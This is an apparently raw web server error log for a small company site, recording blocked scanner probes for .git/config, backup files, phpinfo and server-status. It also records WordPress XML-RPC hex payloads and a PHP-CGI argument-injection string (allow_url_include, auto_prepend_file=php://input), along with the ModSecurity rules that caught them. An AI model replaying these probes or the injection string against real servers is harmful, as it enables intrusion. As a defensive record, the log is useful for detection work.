[:error] [pid 27901:tid 27911] [client 69.171.231.1:47350] [client 69.171.231.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjogbbMkC1uyOpBDIeWgAAAMg"] [Sat Sep 13 02:56:18.315342 2025] [:error] [pid 27901:tid 27909] [client 173.252.87.12:47352] [client 173.252.87.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjogbbMkC1uyOpBDIeWwAAAMY"] [Sat Sep 13 02:56:19.735875 2025] [:error] [pid 27901:tid 27925] [client 69.171.231.115:47356] [client 69.171.231.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMUjowbbMkC1uyOpBDIeXAAAANY"] [Sat Sep 13 12:42:18.766792 2025] [:error] [pid 22940:tid 22961] [client 103.129.212.225:33838] File does not exist: /home/coldtecp/public_html/wp-login.php [Sun Sep 14 01:14:37.913130 2025] [:error] [pid 22630:tid 22708] [client 173.252.83.9:50920] [client 173.252.83.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMZdTYEa-tvy18CQa7J3qAAAAJY"] [Sun Sep 14 01:37:36.474356 2025] [:error] [pid 22630:tid 22706] [client 173.252.87.6:51366] [client 173.252.87.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMZisIEa-tvy18CQa7J3wwAAAJQ"] [Sun Sep 14 11:51:27.026783 2025] [:error] [pid 14475:tid 14506] [client 152.42.193.222:39540] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Sep 14 19:12:20.808778 2025] [:error] [pid 14475:tid 14515] [client 94.237.31.124:48818] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sun Sep 14 19:13:13.197527 2025] [:error] [pid 14473:tid 14547] [client 94.237.31.124:48846] File does not exist: /home/coldtecp/public_html/_phpinfo.php [Sun Sep 14 19:14:06.489848 2025] [:error] [pid 14475:tid 14509] [client 94.237.31.124:48884] [client 94.237.31.124] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/env.backup"] [unique_id "aMdaTuSP12lDQSS2IzgSKgAAAIQ"] [Sun Sep 14 19:15:04.737435 2025] [:error] [pid 14473:tid 14544] [client 94.237.31.124:48996] File does not exist: /home/coldtecp/public_html/wp-config.php.bak [Sun Sep 14 19:15:07.756472 2025] [:error] [pid 14473:tid 14547] [client 94.237.31.124:48998] File does not exist: /home/coldtecp/public_html/info.php [Sun Sep 14 19:15:18.433021 2025] [:error] [pid 14473:tid 14548] [client 94.237.31.124:49010] File does not exist: /home/coldtecp/public_html/server_info.php [Sun Sep 14 19:15:19.574907 2025] [:error] [pid 14475:tid 14519] [client 94.237.31.124:49012] File does not exist: /home/coldtecp/public_html/app_dev.php [Sun Sep 14 19:15:23.698345 2025] [:error] [pid 14473:tid 14516] [client 94.237.31.124:49014] File does not exist: /home/coldtecp/public_html/test.php [Sun Sep 14 19:15:28.425924 2025] [:error] [pid 14473:tid 14533] [client 94.237.31.124:49024] File does not exist: /home/coldtecp/public_html/server-info.php [Sun Sep 14 19:15:50.285405 2025] [:error] [pid 14795:tid 14818] [client 94.237.31.124:49064] [client 94.237.31.124] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/storage/logs/laravel.log"] [unique_id "aMdatshnvmAzAz-rZvMwqQAAANU"] [Sun Sep 14 23:56:27.180065 2025] [:error] [pid 14795:tid 14821] [client 69.171.249.2:56662] [client 69.171.249.2] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMece8hnvmAzAz-rZvM0cgAAANg"] [Mon Sep 15 20:42:25.633993 2025] [:error] [pid 3667:tid 3675] [client 69.171.231.1:33196] [client 69.171.231.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMjAgU0ygnRY4V4IB5T1ngAAAMY"] [Mon Sep 15 20:42:34.933473 2025] [:error] [pid 3667:tid 3690] [client 69.171.231.1:33202] [client 69.171.231.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMjAik0ygnRY4V4IB5T1oAAAANU"] [Mon Sep 15 22:07:06.041318 2025] [:error] [pid 3367:tid 3424] [client 69.171.249.5:36140] [client 69.171.249.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMjUWrlA6MnUIaxZ-Rk76gAAABg"] 2025/09/16 00:45:42 [error] 3331#3331: *1108959 access forbidden by rule, client: 159.89.127.165, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Tue Sep 16 00:45:44.692218 2025] [authz_core:error] [pid 3667:tid 3692] [client 207.154.197.113:42028] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Tue Sep 16 00:45:44.768467 2025] [authz_core:error] [pid 3369:tid 3436] [client 207.154.212.47:42032] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/09/16 00:45:45 [error] 3331#3331: *1109162 access forbidden by rule, client: 207.154.197.113, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/09/16 00:45:45 [error] 3331#3331: *1109164 access forbidden by rule, client: 207.154.212.47, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/16 00:45:46 [error] 3331#3331: *1109200 access forbidden by rule, client: 46.101.111.185, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/16 00:45:46 [error] 3330#3330: *1109217 access forbidden by rule, client: 209.38.248.17, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Tue Sep 16 00:45:46.307605 2025] [:error] [pid 3369:tid 3445] [client 207.154.197.113:42152] File does not exist: /home/coldtecp/public_html/info.php [Tue Sep 16 00:45:46.393081 2025] [:error] [pid 3368:tid 3373] [client 207.154.212.47:42156] File does not exist: /home/coldtecp/public_html/info.php [Tue Sep 16 00:45:47.370187 2025] [authz_core:error] [pid 3367:tid 3405] [client 138.68.86.32:42234] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Tue Sep 16 00:45:48.048583 2025] [authz_core:error] [pid 3369:tid 3427] [client 209.38.208.202:42270] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/09/16 00:45:48 [error] 3331#3331: *1109367 access forbidden by rule, client: 138.68.86.32, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/09/16 00:45:49 [error] 3331#3331: *1109382 access forbidden by rule, client: 164.92.244.132, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/16 00:45:49 [error] 3331#3331: *1109387 access forbidden by rule, client: 138.68.82.23, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/09/16 00:45:49 [error] 3330#3330: *1109390 access forbidden by rule, client: 164.90.208.56, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/16 00:45:49 [error] 3331#3331: *1109394 access forbidden by rule, client: 209.38.208.202, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Sep 16 00:45:49.750224 2025] [:error] [pid 3369:tid 3429] [client 138.68.86.32:42344] File does not exist: /home/coldtecp/public_html/info.php [Tue Sep 16 00:45:50.428894 2025] [:error] [pid 3667:tid 3671] [client 209.38.208.202:42376] File does not exist: /home/coldtecp/public_html/info.php [Tue Sep 16 18:19:36.522528 2025] [:error] [pid 8354:tid 8375] [client 49.204.149.151:52154] [client 49.204.149.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aMnwiKe9ThUyHifseOmPQwAAARE"] [Tue Sep 16 19:17:55.661204 2025] [:error] [pid 8354:tid 8376] [client 69.63.189.26:60538] [client 69.63.189.26] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMn-M6e9ThUyHifseOmRtwAAARI"] [Tue Sep 16 20:32:06.026865 2025] [:error] [pid 8354:tid 8368] [client 173.252.83.8:40764] [client 173.252.83.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aMoPlqe9ThUyHifseOmUBAAAAQo"] [Wed Sep 17 08:34:02.802245 2025] [:error] [pid 22998:tid 23018] [client 13.218.106.33:55566] File does not exist: /home/coldtecp/public_html/wp-login.php [Wed Sep 17 13:14:43.611744 2025] [:error] [pid 23173:tid 23186] [client 165.22.102.219:54150] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/09/17 18:34:29 [error] 22962#22962: *1252021 access forbidden by rule, client: 185.177.72.22, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/17 20:39:57 [error] 22962#22962: *1259644 access forbidden by rule, client: 45.130.203.146, server: cpanel.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/17 21:06:16 [error] 22961#22961: *1261169 access forbidden by rule, client: 185.177.72.29, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/09/17 21:37:41 [error] 22961#22961: *1262872 access forbidden by rule, client: 45.130.203.173, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" 2025/09/18 02:41:11 [error] 22961#22961: *1279918 access forbidden by rule, client: 68.183.231.190, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/18 02:41:11 [error] 22962#22962: *1279917 access forbidden by rule, client: 68.183.231.190, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/18 02:41:11 [error] 22962#22962: *1279916 access forbidden by rule, client: 68.183.231.190, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/09/18 02:41:11 [error] 22961#22961: *1279920 access forbidden by rule, client: 68.183.231.190, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/09/18 02:41:11 [error] 22961#22961: *1279921 access forbidden by rule, client: 68.183.231.190, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Thu Sep 18 03:23:05.425242 2025] [:error] [pid 9134:tid 9195] [client 157.245.59.105:53270] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Sep 18 03:25:20.625082 2025] [:error] [pid 9308:tid 9317] [client 49.36.99.158:53852] [client 49.36.99.158] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x3db40554de found within XML: metaWeblog.newPost11237912379title0x3db40554description0x3db40554mt_keywords0x3db40554mt_excerpt0x3db405541"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aMvB8JIh3yHQzDw_cLGe8wAAAQc"] [Thu Sep 18 09:59:31.746306 2025] [:error] [pid 9133:tid 9151] [client 157.245.59.105:49608] File does not exist: /home/coldtecp/public_html/wp-login.php 2025/09/19 06:46:53 [error] 32389#32389: *1407737 access forbidden by rule, client: 45.55.244.216, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Sep 19 07:00:14.681237 2025] [:error] [pid 32534:tid 32554] [client 173.252.107.13:53666] [client 173.252.107.13] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM1FzpOCOY__E18-rmiuawAAAQo"] [Fri Sep 19 07:00:16.083033 2025] [:error] [pid 32640:tid 32654] [client 173.252.107.15:53674] [client 173.252.107.15] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM1F0JsCY53LpsmbsAg4OwAAAIw"] [Fri Sep 19 07:00:19.259637 2025] [:error] [pid 32534:tid 32562] [client 173.252.107.10:53694] [client 173.252.107.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM1F05OCOY__E18-rmiucAAAARE"] [Fri Sep 19 07:00:19.587494 2025] [:error] [pid 32535:tid 32561] [client 173.252.107.116:53698] [client 173.252.107.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM1F0zbMd_wcugfkdeGYCwAAAUY"] [Fri Sep 19 07:00:19.838577 2025] [:error] [pid 32428:tid 32455] [client 173.252.107.113:53700] [client 173.252.107.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM1F0xViSmxKrMwIwKq_MgAAAFg"] [Fri Sep 19 14:46:31.976641 2025] [:error] [pid 32534:tid 32553] [client 23.234.87.67:34038] [client 23.234.87.67] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "allow_url_include=" at QUERY_STRING. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "236"] [id "958977"] [rev "1"] [msg "PHP Injection Attack"] [data "Matched Data: Accept found within QUERY_STRING: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "1"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "www.coldtecperu.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aM2zF5OCOY__E18-rmjcxQAAAQk"] [Fri Sep 19 14:46:32.204097 2025] [:error] [pid 32640:tid 32643] [client 23.234.87.67:34042] File does not exist: /home/coldtecp/public_html/sxq9ks.php [Fri Sep 19 14:46:32.431587 2025] [:error] [pid 32535:tid 32579] [client 23.234.87.67:34046] [client 23.234.87.67] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "allow_url_include=" at QUERY_STRING. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "236"] [id "958977"] [rev "1"] [msg "PHP Injection Attack"] [data "Matched Data: Accept found within QUERY_STRING: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "1"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.2"] [tag "WASCTC/WASC-25"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE4"] [tag "PCI/6.5.2"] [hostname "www.coldtecperu.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aM2zGDbMd_wcugfkdeG0yAAAAU8"] [Fri Sep 19 14:46:32.892400 2025] [:error] [pid 32534:tid 32559] [client 23.234.87.67:34050] File does not exist: /home/coldtecp/public_html/zyw5x2.php [Fri Sep 19 18:30:10.254548 2025] [:error] [pid 32640:tid 32645] [client 152.42.164.148:34136] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Sep 20 05:12:27.489900 2025] [:error] [pid 2366:tid 2396] [client 69.63.189.47:39156] [client 69.63.189.47] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM5-C1dZz4xNXu3NjfNscQAAAEE"] [Sat Sep 20 05:13:22.023130 2025] [:error] [pid 2515:tid 2540] [client 69.171.231.6:39484] [client 69.171.231.6] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aM5-QlWeL0zrGBmgCnSLGAAAARc"] [Sat Sep 20 12:14:23.333022 2025] [authz_core:error] [pid 2365:tid 2387] [client 68.183.9.16:35540] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status [Sat Sep 20 12:14:24.132948 2025] [authz_core:error] [pid 2365:tid 2386] [client 164.90.228.79:35604] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/09/20 12:14:24 [error] 2323#2323: *1607507 access forbidden by rule, client: 68.183.9.16, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/20 12:14:24 [error] 2325#2325: *1607512 access forbidden by rule, client: 134.209.25.199, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/09/20 12:14:24 [error] 2325#2325: *1607548 access forbidden by rule, client: 206.81.24.227, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/09/20 12:14:25 [error] 2325#2325: *1607563 access forbidden by rule, client: 64.227.32.66, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Sat Sep 20 12:14:25.138484 2025] [:error] [pid 2579:tid 2587] [client 68.183.9.16:35692] File does not exist: /home/coldtecp/public_html/info.php [Sat Sep 20 12:14:25.370731 2025] [authz_core:error] [pid 2579:tid 2591] [client 206.189.19.19:35714] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/09/20 12:14:25 [error] 2323#2323: *1607600 access forbidden by rule, client: 164.90.228.79, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" [Sat Sep 20 12:14:26.101146 2025] [:error] [pid 2515:tid 2533] [client 164.90.228.79:35782] File does not exist: /home/coldtecp/public_html/info.php [Sat Sep 20 12:14:26.304286 2025] [authz_core:error] [pid 2515:tid 2537] [client 64.226.65.160:35794] AH01630: client denied by server configuration: /home/coldtecp/public_html/server-status 2025/09/20 12:14:26 [error] 2325#2325: *1607678 access forbidden by rule, client: 206.189.19.19, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/20 